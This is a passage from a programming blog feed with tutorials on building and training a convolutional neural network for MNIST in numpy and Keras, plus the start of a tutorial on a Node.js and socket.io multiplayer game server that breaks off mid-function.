Similarly, increasing any of the other filter weights by 1 would increase the output by the value of the corresponding image pixel! This suggests that the derivative of a specific output pixel with respect to a specific filter weight is just the corresponding image pixel value. Doing the math confirms this:

\begin{aligned} \text{out(i, j)} &= \text{convolve(image, filter)} \\ &= \sum_{x=0}^3 \sum_{y=0}^3 \text{image}(i + x, j + y) * \text{filter}(x, y) \\ \end{aligned}

\frac{\partial \text{out}(i, j)}{\partial \text{filter}(x, y)} = \text{image}(i + x, j + y)

We can put it all together to find the loss gradient for specific filter weights:

\begin{aligned} \frac{\partial L}{\partial \text{filter}(x, y)} &= \sum_i \sum_j \frac{\partial L}{\partial \text{out}(i, j)} * \frac{\partial \text{out}(i, j)}{\partial \text{filter}(x, y)} \end{aligned}

We’re ready to implement backprop for our conv layer!

# Header: conv.py
class Conv3x3
  # ...

  def backprop(self, d_L_d_out, learn_rate):
    '''
    Performs a backward pass of the conv layer.
    - d_L_d_out is the loss gradient for this layer's outputs.
    - learn_rate is a float.
    '''
    d_L_d_filters = np.zeros(self.filters.shape)

    for im_region, i, j in self.iterate_regions(self.last_input):
      for f in range(self.num_filters):
        d_L_d_filters[f] += d_L_d_out[i, j, f] * im_region

    # Update filters
    self.filters -= learn_rate * d_L_d_filters

    # We aren't returning anything here since we use Conv3x3 as
    # the first layer in our CNN. Otherwise, we'd need to return
    # the loss gradient for this layer's inputs, just like every
    # other layer in our CNN.
    return None

We apply our derived equation by iterating over every image region / filter and incrementally building the loss gradients. Once we’ve covered everything, we update self.filters using SGD just as before. Note the comment explaining why we’re returning None - the derivation for the loss gradient of the inputs is very similar to what we just did and is left as an exercise to the reader :).

With that, we’re done! We’ve implemented a full backward pass through our CNN. Time to test it out…

6. Training a CNN

We’ll train our CNN for a few epochs, track its progress during training, and then test it on a separate test set. Here’s the full code:

# Header: cnn.py
import mnist
import numpy as np
from conv import Conv3x3
from maxpool import MaxPool2
from softmax import Softmax

# We only use the first 1k examples of each set in the interest of time.
# Feel free to change this if you want.
train_images = mnist.train_images()[:1000]
train_labels = mnist.train_labels()[:1000]
test_images = mnist.test_images()[:1000]
test_labels = mnist.test_labels()[:1000]

conv = Conv3x3(8)                  # 28x28x1 -> 26x26x8
pool = MaxPool2()                  # 26x26x8 -> 13x13x8
softmax = Softmax(13 * 13 * 8, 10) # 13x13x8 -> 10

def forward(image, label):
  '''
  Completes a forward pass of the CNN and calculates the accuracy and
  cross-entropy loss.
  - image is a 2d numpy array
  - label is a digit
  '''
  # We transform the image from [0, 255] to [-0.5, 0.5] to make it easier
  # to work with. This is standard practice.
  out = conv.forward((image / 255) - 0.5)
  out = pool.forward(out)
  out = softmax.forward(out)

  # Calculate cross-entropy loss and accuracy. np.log() is the natural log.
  loss = -np.log(out[label])
  acc = 1 if np.argmax(out) == label else 0

  return out, loss, acc

def train(im, label, lr=.005):
  '''
  Completes a full training step on the given image and label.
  Returns the cross-entropy loss and accuracy.
  - image is a 2d numpy array
  - label is a digit
  - lr is the learning rate
  '''
  # Forward
  out, loss, acc = forward(im, label)

  # Calculate initial gradient
  gradient = np.zeros(10)
  gradient[label] = -1 / out[label]

  # Backprop
  gradient = softmax.backprop(gradient, lr)
  gradient = pool.backprop(gradient)
  gradient = conv.backprop(gradient, lr)

  return loss, acc

print('MNIST CNN initialized!')

# Train the CNN for 3 epochs
for epoch in range(3):
  print('--- Epoch %d ---' % (epoch + 1))

  # Shuffle the training data
  permutation = np.random.permutation(len(train_images))
  train_images = train_images[permutation]
  train_labels = train_labels[permutation]

  # Train!
  loss = 0
  num_correct = 0
  for i, (im, label) in enumerate(zip(train_images, train_labels)):
    if i > 0 and i % 100 == 99:
      print(
        '[Step %d] Past 100 steps: Average Loss %.3f | Accuracy: %d%%' %
        (i + 1, loss / 100, num_correct)
      )
      loss = 0
      num_correct = 0

    l, acc = train(im, label)
    loss += l
    num_correct += acc

# Test the CNN
print('\n--- Testing the CNN ---')
loss = 0
num_correct = 0
for im, label in zip(test_images, test_labels):
  _, l, acc = forward(im, label)
  loss += l
  num_correct += acc

num_tests = len(test_images)
print('Test Loss:', loss / num_tests)
print('Test Accuracy:', num_correct / num_tests)

Example output from running the code:

MNIST CNN initialized!
--- Epoch 1 ---
[Step 100] Past 100 steps: Average Loss 2.254 | Accuracy: 18%
[Step 200] Past 100 steps: Average Loss 2.167 | Accuracy: 30%
[Step 300] Past 100 steps: Average Loss 1.676 | Accuracy: 52%
[Step 400] Past 100 steps: Average Loss 1.212 | Accuracy: 63%
[Step 500] Past 100 steps: Average Loss 0.949 | Accuracy: 72%
[Step 600] Past 100 steps: Average Loss 0.848 | Accuracy: 74%
[Step 700] Past 100 steps: Average Loss 0.954 | Accuracy: 68%
[Step 800] Past 100 steps: Average Loss 0.671 | Accuracy: 81%
[Step 900] Past 100 steps: Average Loss 0.923 | Accuracy: 67%
[Step 1000] Past 100 steps: Average Loss 0.571 | Accuracy: 83%
--- Epoch 2 ---
[Step 100] Past 100 steps: Average Loss 0.447 | Accuracy: 89%
[Step 200] Past 100 steps: Average Loss 0.401 | Accuracy: 86%
[Step 300] Past 100 steps: Average Loss 0.608 | Accuracy: 81%
[Step 400] Past 100 steps: Average Loss 0.511 | Accuracy: 83%
[Step 500] Past 100 steps: Average Loss 0.584 | Accuracy: 89%
[Step 600] Past 100 steps: Average Loss 0.782 | Accuracy: 72%
[Step 700] Past 100 steps: Average Loss 0.397 | Accuracy: 84%
[Step 800] Past 100 steps: Average Loss 0.560 | Accuracy: 80%
[Step 900] Past 100 steps: Average Loss 0.356 | Accuracy: 92%
[Step 1000] Past 100 steps: Average Loss 0.576 | Accuracy: 85%
--- Epoch 3 ---
[Step 100] Past 100 steps: Average Loss 0.367 | Accuracy: 89%
[Step 200] Past 100 steps: Average Loss 0.370 | Accuracy: 89%
[Step 300] Past 100 steps: Average Loss 0.464 | Accuracy: 84%
[Step 400] Past 100 steps: Average Loss 0.254 | Accuracy: 95%
[Step 500] Past 100 steps: Average Loss 0.366 | Accuracy: 89%
[Step 600] Past 100 steps: Average Loss 0.493 | Accuracy: 89%
[Step 700] Past 100 steps: Average Loss 0.390 | Accuracy: 91%
[Step 800] Past 100 steps: Average Loss 0.459 | Accuracy: 87%
[Step 900] Past 100 steps: Average Loss 0.316 | Accuracy: 92%
[Step 1000] Past 100 steps: Average Loss 0.460 | Accuracy: 87%

--- Testing the CNN ---
Test Loss: 0.5979384893783474
Test Accuracy: 0.78

Our code works! In only 3000 training steps, we went from a model with 2.3 loss and 10% accuracy to 0.6 loss and 78% accuracy.

Want to try or tinker with this code yourself? Run this CNN in your browser. It’s also available on Github.

We only used a subset of the entire MNIST dataset for this example in the interest of time - our CNN implementation isn’t particularly fast. If we wanted to train a MNIST CNN for real, we’d use an ML library like Keras. To illustrate the power of our CNN, I used Keras to implement and train the exact same CNN we just built from scratch:

# Header: cnn_keras.py
import numpy as np
import mnist
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dense, Flatten
from tensorflow.keras.utils import to_categorical
from tensorflow.keras.optimizers import SGD

train_images = mnist.train_images()
train_labels = mnist.train_labels()
test_images = mnist.test_images()
test_labels = mnist.test_labels()

train_images = (train_images / 255) - 0.5
test_images = (test_images / 255) - 0.5

train_images = np.expand_dims(train_images, axis=3)
test_images = np.expand_dims(test_images, axis=3)

model = Sequential([
  Conv2D(8, 3, input_shape=(28, 28, 1), use_bias=False),
  MaxPooling2D(pool_size=2),
  Flatten(),
  Dense(10, activation='softmax'),
])

model.compile(SGD(lr=.005), loss='categorical_crossentropy', metrics=['accuracy'])

model.fit(
  train_images,
  to_categorical(train_labels),
  batch_size=1,
  epochs=3,
  validation_data=(test_images, to_categorical(test_labels)),
)

Running that code on the full MNIST dataset (60k training images) gives us results like this:

Epoch 1
loss: 0.2433 - acc: 0.9276 - val_loss: 0.1176 - val_acc: 0.9634
Epoch 2
loss: 0.1184 - acc: 0.9648 - val_loss: 0.0936 - val_acc: 0.9721
Epoch 3
loss: 0.0930 - acc: 0.9721 - val_loss: 0.0778 - val_acc: 0.9744

We achieve 97.4% test accuracy with this simple CNN! With a better CNN architecture, we could improve that even more - in this official Keras MNIST CNN example, they achieve 99% test accuracy after 15 epochs. That’s a really good accuracy.

Unfamiliar with Keras? Read my tutorials on building your first Neural Network with Keras or implementing CNNs with Keras.

All code from this post is available on Github.

What Now?

We’re done! In this 2-part series, we did a full walkthrough of Convolutional Neural Networks, including what they are, how they work, why they’re useful, and how to train them. This is just the beginning, though. There’s a lot more you could do:

Read the rest of my Neural Networks from Scratch series.
Experiment with bigger / better CNNs using proper ML libraries like Tensorflow, Keras, or PyTorch.
Learn about using Batch Normalization with CNNs.
Understand how Data Augmentation can be used to improve image training sets.
Read about the ImageNet project and its famous Computer Vision contest, the ImageNet Large Scale Visual Recognition Challenge (ILSVRC).

Creating and Selling Multiplayer (.io) Web Games

Fri, 24 May 2019 12:00:00 GMT

I had the privilege of joining Adam Stacoviak and Jerod Santo on an episode of The Changelog recently to discuss the explosion of the .io game genre, as well as my experiences building and selling .io games like generals.io and geoarena.online (no longer online). Check it out:

The Changelog 347: Creating and selling multiplayer online games – Listen on Changelog.com

If you want to learn more about building .io games, I’ve written guides on this topic:

How to Build a Multiplayer (.io) Web Game, Part 1, a deep dive into the client-side Javascript of an .io game.
How to Build a Multiplayer (.io) Web Game, Part 2, a look into the backend server behind an .io game.

CNNs, Part 1: An Introduction to Convolutional Neural Networks

Wed, 22 May 2019 12:00:00 GMT

There’s been a lot of buzz about Convolution Neural Networks (CNNs) in the past few years, especially because of how they’ve revolutionized the field of Computer Vision. In this post, we’ll build on a basic background knowledge of neural networks and explore what CNNs are, understand how they work, and build a real one from scratch (using only numpy) in Python.

This post assumes only a basic knowledge of neural networks. My introduction to Neural Networks covers everything you’ll need to know, so you might want to read that first.

Ready? Let’s jump in.

1. Motivation

A classic use case of CNNs is to perform image classification, e.g. looking at an image of a pet and deciding whether it’s a cat or a dog. It’s a seemingly simple task - why not just use a normal Neural Network?

Good question.

Reason 1: Images are Big

Images used for Computer Vision problems nowadays are often 224x224 or larger. Imagine building a neural network to process 224x224 color images: including the 3 color channels (RGB) in the image, that comes out to 224 x 224 x 3 = 150,528 input features! A typical hidden layer in such a network might have 1024 nodes, so we’d have to train 150,528 x 1024 = 150+ million weights for the first layer alone. Our network would be huge and nearly impossible to train.

It’s not like we need that many weights, either. The nice thing about images is that we know pixels are most useful in the context of their neighbors. Objects in images are made up of small, localized features, like the circular iris of an eye or the square corner of a piece of paper. Doesn’t it seem wasteful for every node in the first hidden layer to look at every pixel?

Reason 2: Positions can change

If you trained a network to detect dogs, you’d want it to be able to a detect a dog regardless of where it appears in the image. Imagine training a network that works well on a certain dog image, but then feeding it a slightly shifted version of the same image. The dog would not activate the same neurons, so the network would react completely differently!

We’ll see soon how a CNN can help us mitigate these problems.

2. Dataset

In this post, we’ll tackle the “Hello, World!” of Computer Vision: the MNIST handwritten digit classification problem. It’s simple: given an image, classify it as a digit.

Sample images from the MNIST dataset

Each image in the MNIST dataset is 28x28 and contains a centered, grayscale digit.

Truth be told, a normal neural network would actually work just fine for this problem. You could treat each image as a 28 x 28 = 784-dimensional vector, feed that to a 784-dim input layer, stack a few hidden layers, and finish with an output layer of 10 nodes, 1 for each digit.

This would only work because the MNIST dataset contains small images that are centered, so we wouldn’t run into the aforementioned issues of size or shifting. Keep in mind throughout the course of this post, however, that most real-world image classification problems aren’t this easy.

Enough buildup. Let’s get into CNNs!

3. Convolutions

What are Convolutional Neural Networks?

They’re basically just neural networks that use Convolutional layers, a.k.a. Conv layers, which are based on the mathematical operation of convolution. Conv layers consist of a set of filters, which you can think of as just 2d matrices of numbers. Here’s an example 3x3 filter:

We can use an input image and a filter to produce an output image by convolving the filter with the input image. This consists of

Overlaying the filter on top of the image at some location.
Performing element-wise multiplication between the values in the filter and their corresponding values in the image.
Summing up all the element-wise products. This sum is the output value for the destination pixel in the output image.
Repeating for all locations.

Side Note: We (along with many CNN implementations) are technically actually using cross-correlation instead of convolution here, but they do almost the same thing. I won’t go into the difference in this post because it’s not that important, but feel free to look this up if you’re curious.

That 4-step description was a little abstract, so let’s do an example. Consider this tiny 4x4 grayscale image and this 3x3 filter:

The numbers in the image represent pixel intensities, where 0 is black and 255 is white. We’ll convolve the input image and the filter to produce a 2x2 output image:

To start, lets overlay our filter in the top left corner of the image:

Next, we perform element-wise multiplication between the overlapping image values and filter values. Here are the results, starting from the top left corner and going right, then down:

Image Value	Filter Value	Result
0	-1	0
50	0	0
0	1	0
0	-2	0
80	0	0
31	2	62
33	-1	-33
90	0	0
0	1	0
Step 2: Performing element-wise multiplication.

Next, we sum up all the results. That’s easy enough:

62 - 33 = \boxed{29}

Finally, we place our result in the destination pixel of our output image. Since our filter is overlayed in the top left corner of the input image, our destination pixel is the top left pixel of the output image:

We do the same thing to generate the rest of the output image:

3.1 How is this useful?

Let’s zoom out for a second and see this at a higher level. What does convolving an image with a filter do? We can start by using the example 3x3 filter we’ve been using, which is commonly known as the vertical Sobel filter:

Here’s an example of what the vertical Sobel filter does:

An image convolved with the vertical Sobel filter

Similarly, there’s also a horizontal Sobel filter:

An image convolved with the horizontal Sobel filter

See what’s happening? Sobel filters are edge-detectors. The vertical Sobel filter detects vertical edges, and the horizontal Sobel filter detects horizontal edges. The output images are now easily interpreted: a bright pixel (one that has a high value) in the output image indicates that there’s a strong edge around there in the original image.

Can you see why an edge-detected image might be more useful than the raw image? Think back to our MNIST handwritten digit classification problem for a second. A CNN trained on MNIST might look for the digit 1, for example, by using an edge-detection filter and checking for two prominent vertical edges near the center of the image. In general, convolution helps us look for specific localized image features (like edges) that we can use later in the network.

3.2 Padding

Remember convolving a 4x4 input image with a 3x3 filter earlier to produce a 2x2 output image? Often times, we’d prefer to have the output image be the same size as the input image. To do this, we add zeros around the image so we can overlay the filter in more places. A 3x3 filter requires 1 pixel of padding:

This is called “same” padding, since the input and output have the same dimensions. Not using any padding, which is what we’ve been doing and will continue to do for this post, is sometimes referred to as “valid” padding.

3.3 Conv Layers

Now that we know how image convolution works and why it’s useful, let’s see how it’s actually used in CNNs. As mentioned before, CNNs include conv layers that use a set of filters to turn input images into output images. A conv layer’s primary parameter is the number of filters it has.

For our MNIST CNN, we’ll use a small conv layer with 8 filters as the initial layer in our network. This means it’ll turn the 28x28 input image into a 26x26x8 output volume:

Reminder: The output is 26x26x8 and not 28x28x8 because we’re using valid padding, which decreases the input’s width and height by 2.

Each of the 8 filters in the conv layer produces a 26x26 output, so stacked together they make up a 26x26x8 volume. All of this happens because of 3 $\times$ 3 (filter size) $\times$ 8 (number of filters) = only 72 weights!

3.4 Implementing Convolution

Time to put what we’ve learned into code! We’ll implement a conv layer’s feedforward portion, which takes care of convolving filters with an input image to produce an output volume. For simplicity, we’ll assume filters are always 3x3 (which is not true - 5x5 and 7x7 filters are also very common).

Let’s start implementing a conv layer class:

# Header: conv.py
import numpy as np

class Conv3x3:
  # A Convolution layer using 3x3 filters.

  def __init__(self, num_filters):
    self.num_filters = num_filters

    # filters is a 3d array with dimensions (num_filters, 3, 3)
    # We divide by 9 to reduce the variance of our initial values
    self.filters = np.random.randn(num_filters, 3, 3) / 9

The Conv3x3 class takes only one argument: the number of filters. In the constructor, we store the number of filters and initialize a random filters array using NumPy’s randn() method.

Note: Diving by 9 during the initialization is more important than you may think. If the initial values are too large or too small, training the network will be ineffective. To learn more, read about Xavier Initialization.

Next, the actual convolution:

# Header: conv.py
class Conv3x3:
  # ...

  def iterate_regions(self, image):
    '''
    Generates all possible 3x3 image regions using valid padding.
    - image is a 2d numpy array
    '''
    h, w = image.shape

    for i in range(h - 2):
      for j in range(w - 2):
        im_region = image[i:(i + 3), j:(j + 3)]
        yield im_region, i, j

  def forward(self, input):
    '''
    Performs a forward pass of the conv layer using the given input.
    Returns a 3d numpy array with dimensions (h, w, num_filters).
    - input is a 2d numpy array
    '''
    h, w = input.shape
    output = np.zeros((h - 2, w - 2, self.num_filters))

    for im_region, i, j in self.iterate_regions(input):
      output[i, j] = np.sum(im_region * self.filters, axis=(1, 2))
    return output

iterate_regions() is a helper generator method that yields all valid 3x3 image regions for us. This will be useful for implementing the backwards portion of this class later on.

The line of code that actually performs the convolutions is highlighted above. Let’s break it down:

We have im_region, a 3x3 array containing the relevant image region.
We have self.filters, a 3d array.
We do im_region * self.filters, which uses numpy’s broadcasting feature to element-wise multiply the two arrays. The result is a 3d array with the same dimension as self.filters.
We np.sum() the result of the previous step using axis=(1, 2), which produces a 1d array of length num_filters where each element contains the convolution result for the corresponding filter.
We assign the result to output[i, j], which contains convolution results for pixel (i, j) in the output.

The sequence above is performed for each pixel in the output until we obtain our final output volume! Let’s give our code a test run:

# Header: cnn.py
import mnist
from conv import Conv3x3

# The mnist package handles the MNIST dataset for us!
# Learn more at https://github.com/datapythonista/mnist
train_images = mnist.train_images()
train_labels = mnist.train_labels()

conv = Conv3x3(8)
output = conv.forward(train_images[0])
print(output.shape) # (26, 26, 8)

Looks good so far.

Note: in our Conv3x3 implementation, we assume the input is a 2d numpy array for simplicity, because that’s how our MNIST images are stored. This works for us because we use it as the first layer in our network, but most CNNs have many more Conv layers. If we were building a bigger network that needed to use Conv3x3 multiple times, we’d have to make the input be a 3d numpy array.

4. Pooling

Neighboring pixels in images tend to have similar values, so conv layers will typically also produce similar values for neighboring pixels in outputs. As a result, much of the information contained in a conv layer’s output is redundant. For example, if we use an edge-detecting filter and find a strong edge at a certain location, chances are that we’ll also find relatively strong edges at locations 1 pixel shifted from the original one. However, these are all the same edge! We’re not finding anything new.

Pooling layers solve this problem. All they do is reduce the size of the input it’s given by (you guessed it) pooling values together in the input. The pooling is usually done by a simple operation like max, min, or average. Here’s an example of a Max Pooling layer with a pooling size of 2:

To perform max pooling, we traverse the input image in 2x2 blocks (because pool size = 2) and put the max value into the output image at the corresponding pixel. That’s it!

Pooling divides the input’s width and height by the pool size. For our MNIST CNN, we’ll place a Max Pooling layer with a pool size of 2 right after our initial conv layer. The pooling layer will transform a 26x26x8 input into a 13x13x8 output:

4.1 Implementing Pooling

We’ll implement a MaxPool2 class with the same methods as our conv class from the previous section:

# Header: maxpool.py
import numpy as np

class MaxPool2:
  # A Max Pooling layer using a pool size of 2.

  def iterate_regions(self, image):
    '''
    Generates non-overlapping 2x2 image regions to pool over.
    - image is a 2d numpy array
    '''
    h, w, _ = image.shape
    new_h = h // 2
    new_w = w // 2

    for i in range(new_h):
      for j in range(new_w):
        im_region = image[(i * 2):(i * 2 + 2), (j * 2):(j * 2 + 2)]
        yield im_region, i, j

  def forward(self, input):
    '''
    Performs a forward pass of the maxpool layer using the given input.
    Returns a 3d numpy array with dimensions (h / 2, w / 2, num_filters).
    - input is a 3d numpy array with dimensions (h, w, num_filters)
    '''
    h, w, num_filters = input.shape
    output = np.zeros((h // 2, w // 2, num_filters))

    for im_region, i, j in self.iterate_regions(input):
      output[i, j] = np.amax(im_region, axis=(0, 1))
    return output

This class works similarly to the Conv3x3 class we implemented previously. The critical line is again highlighted: to find the max from a given image region, we use np.amax(), numpy’s array max method. We set axis=(0, 1) because we only want to maximize over the first two dimensions, height and width, and not the third, num_filters.

Let’s test it!

# Header: cnn.py
import mnist
from conv import Conv3x3
from maxpool import MaxPool2

# The mnist package handles the MNIST dataset for us!
# Learn more at https://github.com/datapythonista/mnist
train_images = mnist.train_images()
train_labels = mnist.train_labels()

conv = Conv3x3(8)
pool = MaxPool2()

output = conv.forward(train_images[0])
output = pool.forward(output)
print(output.shape) # (13, 13, 8)

Our MNIST CNN is starting to come together!

5. Softmax

To complete our CNN, we need to give it the ability to actually make predictions. We’ll do that by using the standard final layer for a multiclass classification problem: the Softmax layer, a fully-connected (dense) layer that uses the Softmax function as its activation.

Reminder: fully-connected layers have every node connected to every output from the previous layer. We used fully-connected layers in my intro to Neural Networks if you need a refresher.

If you haven’t heard of Softmax before, read my quick introduction to Softmax before continuing.

5.1 Usage

We’ll use a softmax layer with 10 nodes, one representing each digit, as the final layer in our CNN. Each node in the layer will be connected to every input. After the softmax transformation is applied, the digit represented by the node with the highest probability will be the output of the CNN!

5.2 Cross-Entropy Loss

You might have just thought to yourself, why bother transforming the outputs into probabilities? Won’t the highest output value always have the highest probability? If you did, you’re absolutely right. We don’t actually need to use softmax to predict a digit - we could just pick the digit with the highest output from the network!

What softmax really does is help us quantify how sure we are of our prediction, which is useful when training and evaluating our CNN. More specifically, using softmax lets us use cross-entropy loss, which takes into account how sure we are of each prediction. Here’s how we calculate cross-entropy loss:

L = -\ln(p_c)

where $c$ is the correct class (in our case, the correct digit), $p_c$ is the predicted probability for class $c$ , and $\ln$ is the natural log. As always, a lower loss is better. For example, in the best case, we’d have

p_c = 1, L = -\ln(1) = 0

In a more realistic case, we might have

p_c = 0.8, L = -\ln(0.8) = 0.223

We’ll be seeing cross-entropy loss again later on in this post, so keep it in mind!

5.3 Implementing Softmax

You know the drill by now - let’s implement a Softmax layer class:

# Header: softmax.py
import numpy as np

class Softmax:
  # A standard fully-connected layer with softmax activation.

  def __init__(self, input_len, nodes):
    # We divide by input_len to reduce the variance of our initial values
    self.weights = np.random.randn(input_len, nodes) / input_len
    self.biases = np.zeros(nodes)

  def forward(self, input):
    '''
    Performs a forward pass of the softmax layer using the given input.
    Returns a 1d numpy array containing the respective probability values.
    - input can be any array with any dimensions.
    '''
    input = input.flatten()

    input_len, nodes = self.weights.shape

    totals = np.dot(input, self.weights) + self.biases
    exp = np.exp(totals)
    return exp / np.sum(exp, axis=0)

There’s nothing too complicated here. A few highlights:

We flatten() the input to make it easier to work with, since we no longer need its shape.
np.dot() multiplies input and self.weights element-wise and then sums the results.
np.exp() calculates the exponentials used for Softmax.

We’ve now completed the entire forward pass of our CNN! Putting it together:

# Header: cnn.py
import mnist
import numpy as np
from conv import Conv3x3
from maxpool import MaxPool2
from softmax import Softmax

# We only use the first 1k testing examples (out of 10k total)
# in the interest of time. Feel free to change this if you want.
test_images = mnist.test_images()[:1000]
test_labels = mnist.test_labels()[:1000]

conv = Conv3x3(8)                  # 28x28x1 -> 26x26x8
pool = MaxPool2()                  # 26x26x8 -> 13x13x8
softmax = Softmax(13 * 13 * 8, 10) # 13x13x8 -> 10

def forward(image, label):
  '''
  Completes a forward pass of the CNN and calculates the accuracy and
  cross-entropy loss.
  - image is a 2d numpy array
  - label is a digit
  '''
  # We transform the image from [0, 255] to [-0.5, 0.5] to make it easier
  # to work with. This is standard practice.
  out = conv.forward((image / 255) - 0.5)
  out = pool.forward(out)
  out = softmax.forward(out)

  # Calculate cross-entropy loss and accuracy. np.log() is the natural log.
  loss = -np.log(out[label])
  acc = 1 if np.argmax(out) == label else 0

  return out, loss, acc

print('MNIST CNN initialized!')

loss = 0
num_correct = 0
for i, (im, label) in enumerate(zip(test_images, test_labels)):
  # Do a forward pass.
  _, l, acc = forward(im, label)
  loss += l
  num_correct += acc

  # Print stats every 100 steps.
  if i % 100 == 99:
    print(
      '[Step %d] Past 100 steps: Average Loss %.3f | Accuracy: %d%%' %
      (i + 1, loss / 100, num_correct)
    )
    loss = 0
    num_correct = 0

Running cnn.py gives us output similar to this:

MNIST CNN initialized!
[Step 100] Past 100 steps: Average Loss 2.302 | Accuracy: 11%
[Step 200] Past 100 steps: Average Loss 2.302 | Accuracy: 8%
[Step 300] Past 100 steps: Average Loss 2.302 | Accuracy: 3%
[Step 400] Past 100 steps: Average Loss 2.302 | Accuracy: 12%

This makes sense: with random weight initialization, you’d expect the CNN to be only as good as random guessing. Random guessing would yield 10% accuracy (since there are 10 classes) and a cross-entropy loss of ${-\ln(0.1)} = 2.302$ , which is what we get!

Want to try or tinker with this code yourself? Run this CNN in your browser. It’s also available on Github.

6. Conclusion

That’s the end of this introduction to CNNs! In this post, we

Motivated why CNNs might be more useful for certain problems, like image classification.
Introduced the MNIST handwritten digit dataset.
Learned about Conv layers, which convolve filters with images to produce more useful outputs.
Talked about Pooling layers, which can help prune everything but the most useful features.
Implemented a Softmax layer so we could use cross-entropy loss.

There’s still much more that we haven’t covered yet, such as how to actually train a CNN. Part 2 of this CNN series does a deep-dive on training a CNN, including deriving gradients and implementing backprop. Alternatively, you can also learn to implement your own CNN with Keras, a deep learning library for Python, or read the rest of my Neural Networks from Scratch series.

If you’re eager to see a trained CNN in action: this example Keras CNN trained on MNIST achieves 99% accuracy. CNNs are powerful!

How to Build a Multiplayer (.io) Web Game, Part 2

Fri, 03 May 2019 12:00:00 GMT

This is Part 2 of my “How to Build a Multiplayer (.io) Web Game” series - make sure you read Part 1 first.

In this post, we’ll take a look at the Node.js backend powering our example .io game:

On mobile, it works best fullscreen at https://example-io-game.victorzhou.com

As a reminder, here’s what we went over in Part 1 of the series:

Project Overview / Structure: A high level view of the project.
Builds / Project Setup: Development tooling, configuration, and setup.
Client Entrypoints: index.html and index.js.
Client Networking: Communicating with the server.
Client Rendering: Downloading image assets + Rendering the game.
Client Input: Letting users actually play the game.
Client State: Processing game updates from the server.

We’ll cover the following topics in this post:

Server Entrypoint: Setting up Express and socket.io.
The Server Game: Managing server-side game state.
Server Game Objects: Implementing Players and Bullets.
Collision Detection: Finding Bullets that hit Players.

1. Server Entrypoint

We’ll be using Express, a popular web framework for Node.js, to power our web server. Our server entrypoint file, src/server/server.js, takes care of setting that up:

// Header: server.js, Part 1
const express = require('express');
const webpack = require('webpack');
const webpackDevMiddleware = require('webpack-dev-middleware');
const webpackConfig = require('../../webpack.dev.js');

// Setup an Express server
const app = express();
app.use(express.static('public'));

if (process.env.NODE_ENV === 'development') {
  // Setup Webpack for development
  const compiler = webpack(webpackConfig);
  app.use(webpackDevMiddleware(compiler));
} else {
  // Static serve the dist/ folder in production
  app.use(express.static('dist'));
}

// Listen on port
const port = process.env.PORT || 3000;
const server = app.listen(port);
console.log(`Server listening on port ${port}`);

Remember discussing Webpack in Part 1 of this series? This is where we put our Webpack configurations to use. We either

Use webpack-dev-middleware to automatically rebuild our development bundles, or
Static serve the dist/ folder, which is where Webpack will write our files after a production build.

The other primary job server.js has is to setup our socket.io server, which actually just attaches to our Express server:

// Header: server.js, Part 2
const socketio = require('socket.io');
const Constants = require('../shared/constants');

// Setup Express
// ...
const server = app.listen(port);console.log(`Server listening on port ${port}`);

// Setup socket.io
const io = socketio(server);
// Listen for socket.io connections
io.on('connection', socket => {
  console.log('Player connected!', socket.id);

  socket.on(Constants.MSG_TYPES.JOIN_GAME, joinGame);
  socket.on(Constants.MSG_TYPES.INPUT, handleInput);
  socket.on('disconnect', onDisconnect);
});

Whenever a socket.io connection to the server is successfully established, we setup event handlers for the new socket. The event handlers process messages received from clients by delegating to the singleton game object:

// Header: server.js, Part 3
const Game = require('./game');

// ...

// Setup the Game
const game = new Game();

function joinGame(username) {
  game.addPlayer(this, username);
}

function handleInput(dir) {
  game.handleInput(this, dir);
}

function onDisconnect() {
  game.removePlayer(this);
}

This is an .io game, so we only need one Game instance (“the Game”) - all players play in the same arena! We’ll see how this Game class works in the next section.

2. The Server Game

The Game class contains the most important server-side logic. It has two primary jobs: managing players and simulating the game.

Let’s start with the first of those: managing players.

// Header: game.js, Part 1
const Constants = require('../shared/constants');
const Player = require('./player');

class Game {
  constructor() {
    this.sockets = {};
    this.players = {};
    this.bullets = [];
    this.lastUpdateTime = Date.now();
    this.shouldSendUpdate = false;
    setInterval(this.update.bind(this), 1000 / 60);
  }

  addPlayer(socket, username) {
    this.sockets[socket.id] = socket;

    // Generate a position to start this player at.
    const x = Constants.MAP_SIZE * (0.25 + Math.random() * 0.5);
    const y = Constants.MAP_SIZE * (0.25 + Math.random() * 0.5);
    this.players[socket.id] = new Player(socket.id, username, x, y);
  }

  removePlayer(socket) {
    delete this.sockets[socket.id];
    delete this.players[socket.id];
  }

  handleInput(socket, dir) {
    if (this.players[socket.id]) {
      this.players[socket.id].setDirection(dir);
    }
  }

  // ...
}

Our convention for this game will be to identify players by the id field of their socket.io socket (refer back to server.js if you’re confused). Socket.io takes care of assigning each socket a unique id for us, so we don’t have to worry about it. I’ll refer to this as a player ID.

With that in mind, let’s go over the instance variables in the Game class:

sockets is an object that maps a player ID to the socket associated with that player. This lets us access sockets by their player’s ID in constant time.
players is an object that maps a player ID to the Player object associated with that player. This lets us quickly access player objects by their player’s ID.
bullets is an array of Bullet objects in no particular order.
lastUpdateTime is the timestamp when the last game update occurred. We’ll see this used in a bit.
shouldSendUpdate is a helper variable. We’ll also see this used in a bit.

addPlayer(), removePlayer(), and handleInput() are pretty self-explanatory methods that are used in server.js. Scroll back up to review it if you need a reminder!

The last line of constructor() starts the update loop (at 60 updates / second) for the game:

// Header: game.js, Part 2
const Constants = require('../shared/constants');
const applyCollisions = require('./collisions');

class Game {
  // ...

  update() {
    // Calculate time elapsed
    const now = Date.now();
    const dt = (now - this.lastUpdateTime) / 1000;
    this.lastUpdateTime = now;

    // Update each bullet
    const bulletsToRemove = [];
    this.bullets.forEach(bullet => {
      if (bullet.update(dt)) {
        // Destroy this bullet
        bulletsToRemove.push(bullet);
      }
    });
    this.bullets = this.bullets.filter(
      bullet => !bulletsToRemove.includes(bullet),
    );

    // Update each player
    Object.keys(this.sockets).forEach(playerID => {
      const player = this.players[playerID];
      const newBullet = player.update(dt);
      if (newBullet) {
        this.bullets.push(newBullet);
      }
    });

    // Apply collisions, give players score for hitting bullets
    const destroyedBullets = applyCollisions(
      Object.values(this.players),
      this.bullets,
    );
    destroyedBullets.forEach(b => {
      if (this.players[b.parentID]) {
        this.players[b.parentID].onDealtDamage();
      }
    });
    this.bullets = this.bullets.filter(
      bullet => !destroyedBullets.includes(bullet),
    );

    // Check if any players are dead
    Object.keys(this.sockets).forEach(playerID => {
      const socket = this.sockets[playerID];
